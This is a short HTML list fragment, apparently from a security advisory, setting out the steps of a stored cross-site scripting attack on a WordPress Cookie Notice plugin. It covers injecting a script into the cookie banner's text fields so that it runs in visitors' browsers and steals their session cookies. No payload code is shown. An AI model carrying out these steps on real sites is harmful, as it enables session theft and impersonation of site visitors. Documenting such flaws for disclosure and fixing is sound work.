        <li>Navigate to Cookie Notice plugin settings (Settings > Cookie Notice)</li>
        <li>Inject XSS payload into cookie banner text fields (title, message, button text)</li>
        <li>Save settings - payload is stored in database</li>
        <li>When visitors access the site, the stored script executes in their browser</li>
        <li>Attacker steals session cookies, performs actions on behalf of users</li>
    </ol>
